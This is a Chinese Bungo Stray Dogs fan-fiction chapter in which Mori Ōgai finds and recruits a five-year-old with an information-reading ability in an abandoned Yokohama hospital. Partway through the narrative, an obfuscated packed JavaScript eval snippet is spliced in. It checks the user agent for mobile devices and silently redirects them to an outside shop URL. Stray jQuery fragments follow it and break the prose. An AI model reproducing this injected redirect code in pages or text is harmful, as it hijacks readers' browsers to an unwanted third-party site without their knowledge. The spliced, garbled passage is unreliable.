横滨的梅雨季来得猝不及防。
雨水从破损的天花板缝隙中渗入，沿着布满霉斑的墙壁蜿蜒而下，在积满灰尘的地板上汇成细小的溪流。空气中弥漫着铁锈、腐木和某种更深层、更难以言喻的气味——那是被遗忘的疼痛，在时间的缝隙中缓慢发酵，最终沉淀为建筑本身的一部分。
这栋废弃的市立第三医院已经空置了七年。它在关东大地震中受损，战后因为资金短缺而未能重建，就这样被遗弃在横滨港区边缘的角落里。附近的居民早已习惯绕开这栋建筑，只有流浪汉偶尔会翻过坍塌的围墙，在干燥的一楼大厅里过夜。但他们也不会停留太久——有人说这里闹鬼，在深夜能听到孩子的哭声。
他们听到的是真的。
在三楼最深处的病房里，一个五岁的男孩蜷缩在角落，用脏污的毯子紧紧裹住自己。他的眼睛大得不成比例，瞳孔深处有某种超出年龄的、近乎透明的冷静。但此刻这双眼睛里只有恐惧——纯粹的、近乎原始的恐惧。
病房的墙壁上原本贴着浅绿色的墙纸，现在大半已经剥落，露出下面发黑的石灰。但男孩看到的不是墙纸，也不是石灰。他看到的是墙壁上残留的"记忆"——七年前那个躺在病床上的男人，在生命最后一刻死死盯着这面墙，眼睛里映出的最后影像。他看到的是输液管中缓缓流动的液体，是心电监护仪逐渐平息的波形，是空气中弥漫的消毒水气味里悄然混杂进的死亡气息。
他看到的是死亡本身。
异能「观测者」——这个后来被无数人畏惧、忌惮、试图利用的能力，此刻正以一个五岁孩童无法承受的方式初次觉醒。他不只是看到画面，他"感知"到信息本身。所有在他周围半径十米内存在过的、发生过的事物，都以一种近乎暴力的方式涌入他的大脑。人的心理活动、物品残留的情感印记、建筑结构中最细微的裂痕……所有信息同时涌入，没有选择，没有过滤，没有怜悯。
男孩不知道自己叫什么名字。他知道自己从有记忆起就在这栋楼里，靠翻找废弃的食堂罐头为生。曾经有其他孩子和他一起，但他们都陆续不见了。有的被领走了，有的——他不再去想。他只是在这里活着，活到每一天的尽头。
但今天不一样。今天那些"信息"突然变得清晰起来。清晰到他无法忽视，无法假装看不见。每一秒都有新的画面在他脑中炸开，每一帧都带着尖锐的疼痛。他捂住耳朵，但声音不在外面——声音在脑子里。
他小声地、无声地哭着。
雨水打在没有玻璃的窗框上，溅起细小的水花。风穿过空荡的走廊，发出低沉的呜咽。整栋楼都在呼吸，用那些早已离去的人残留的记忆。而男孩就在这个呼吸的中心，承受着所有人都已经忘记的重量。
他不知道的是，此刻有人正站在走廊尽头。
森鸥外站在楼梯口，黑色大衣的下摆被穿堂风轻轻掀起。他已经在那里站了将近五分钟——从男孩第一次发出压抑的哭声开始。作为一个医生，他见过太多濒死之人的眼神，但从未见过一个孩子用那样的眼神看着一面空白的墙壁。那不是恐惧的眼神——至少不完全是。那个孩子的眼睛里还有别的东西，一种近乎恐怖的……知晓。
森鸥外微微眯起眼睛。他今天来这里是处理一批旧医疗档案的转移——港口□□最近收编了几个与医疗黑市有关的小团体，需要清理一些不必要的痕迹。但这栋废弃医院里藏着别的什么。他起初没有在意，直到那一声微弱的抽泣让他驻足。
然后他感受到了——某种微弱的、几乎不可察觉的异能波动。波动的源头在那扇半掩的门后。
他推开门。
男孩在瞬间抬起头。那双眼睛对上森鸥外的视线时，森鸥外感到一种奇异的不适——就好像那双眼睛不只是看着他，而是在"看"什么别的，在看他的皮肤之下、骨骼之内、记忆之中那些他从未对任何人提起过的东西。
男孩开口了。声音很轻，像一片纸落在水面上。
"你……杀过人。"
森鸥外停下脚步。
男孩继续说，声音因为恐惧而颤抖，但语句却异常完整、清晰："你杀过很多。最近一次……七十六天前。是个男人。他求你了。你没停。"
病房里安静得只剩下雨水滴落的声音。
森鸥外沉默了几秒钟。然后，他笑了。
那是一个温和的、医生的微笑——如果你忽略他眼睛里闪过的那一丝极端专注的评估性光芒的话。
"有趣。"他说，声音如同在讨论今天的天气，"你叫什么名字？"
男孩沉默地看着他。那双眼睛里，恐惧仍在，但有什么别的东西正在浮出水面——一小块、一小块的，像冰层之下的暗流。
"……没有名字。"男孩最终说，"他们叫我'那个孩子'。"
森鸥外点了点头。他向前走了一步，蹲下身，让自己与男孩视线平齐。这是一个刻意的姿态——降低高度，减少压迫感。他知道这个男孩是某种珍稀的存在，需要小心对待，像对待一件精美的、随时可能碎裂的瓷器。
"我是医生，"他说，"能让我看看你吗？你的头痛——我看到你在按太阳穴。头痛多久了？"
男孩没有回答。但他的手确实从太阳穴上移开了，然后他做了一件让森鸥外真正感到惊讶的事——他主动伸出了自己的手，掌心向上，像一个无声的邀请。
森鸥外握住那只小手。很凉。皮肤上有未愈合的冻疮和细小伤口。但真正让他注意的是——当他的手指接触到男孩的皮肤时，他感到一种极其轻微的电击般的刺痛。像是某种信息正在试图涌入他的大脑，但在入口处被拦住了。
"你在……'读'我？"森鸥外轻声问。
男孩点头。"我只能读到……一点点。碰到的时候。"
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17712408|208459||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
"一直都能？"
男孩摇头。"今天开始的。"他顿了顿，似乎在努力寻找合适的词来表达那个难以言说的感受，"就像……突然打开了。什么都进来了。太多了。关不掉。"
森鸥外缓缓松开手。他站起身，走到窗边，望着雨中灰蒙蒙的港口。横滨的轮廓在雨幕中显得模糊而遥远。这座城市就像眼前这个孩子——表面上是废墟，底下藏着无数条暗流，每一条都能把人拖进深渊。
他转过身，重新看向蜷缩在角落里的男孩。
"我可以帮你。"森鸥外说，"教你怎么控制它，怎么关掉那些你不想看到的东西。作为交换——"他停顿了一下，然后在嘴角保持那个温和的笑意，"——你为我工作。"
男孩没有立刻回答。他又在看森鸥外了，那双眼睛平静得不像一个五岁的孩子。
"……你会杀我吗？"男孩问。
森鸥外的笑意加深了一些。
"不会，"他说，"因为你对我的价值，远大于一具尸体。"
雨水仍在落下。风穿过走廊，呜咽声变得更加低沉。
男孩低下头，看着自己布满伤痕的手掌。上面似乎还残留着刚才森鸥外的体温——那种干燥的、稳定的温度。在这栋充满死亡记忆的楼里，他第一次感觉到某种……稳定的东西。
"……好。"他说。
森鸥外再次蹲下身，这次从大衣内袋里取出一条干净的白色手帕，轻轻擦去男孩脸上的灰尘和泪痕。
"你以后叫'夜'，"他说，"神崎夜。记住了吗？"
男孩点了点头。
森鸥外站起身，向男孩伸出手。
"走吧，夜。这里已经没有什么值得你再看的东西了。"
夜沉默地看着那只伸向自己的手。外面的雨还在下，世界被灰色的雨幕覆盖，一切都模糊、朦胧、不确定。而这只手是清晰的——它是一个选择，一个起点，一扇正在缓缓打开的门。
他伸手握住了那只手。
异能「观测者」被动触发了一瞬间——在肌肤相触的刹那，有千万条信息试图涌入，关于面前这个男人，关于他所见过的人、做过的事、走过的路。但夜用力将那一切推了出去，只留下一个清晰的信息：
这个人会利用我。
但是，他也会保护我。
这大概就够了。
夜站起来，牵着森鸥外的手，走出了那间充满了死亡记忆的病房。身后的雨水仍在敲打空荡的窗户，仿佛在为一个逝去的世界送葬。而前方，走廊的尽头，门外的光正从雨幕中透过来。
他往前走。没有回头。
因为他知道，有些事情一旦看到了，就再也回不去了。而他已经看到了太多，太多关于这个世界是什么模样的真相。
他五岁。他第一次离开这栋楼。
真正的故事，才刚刚开始。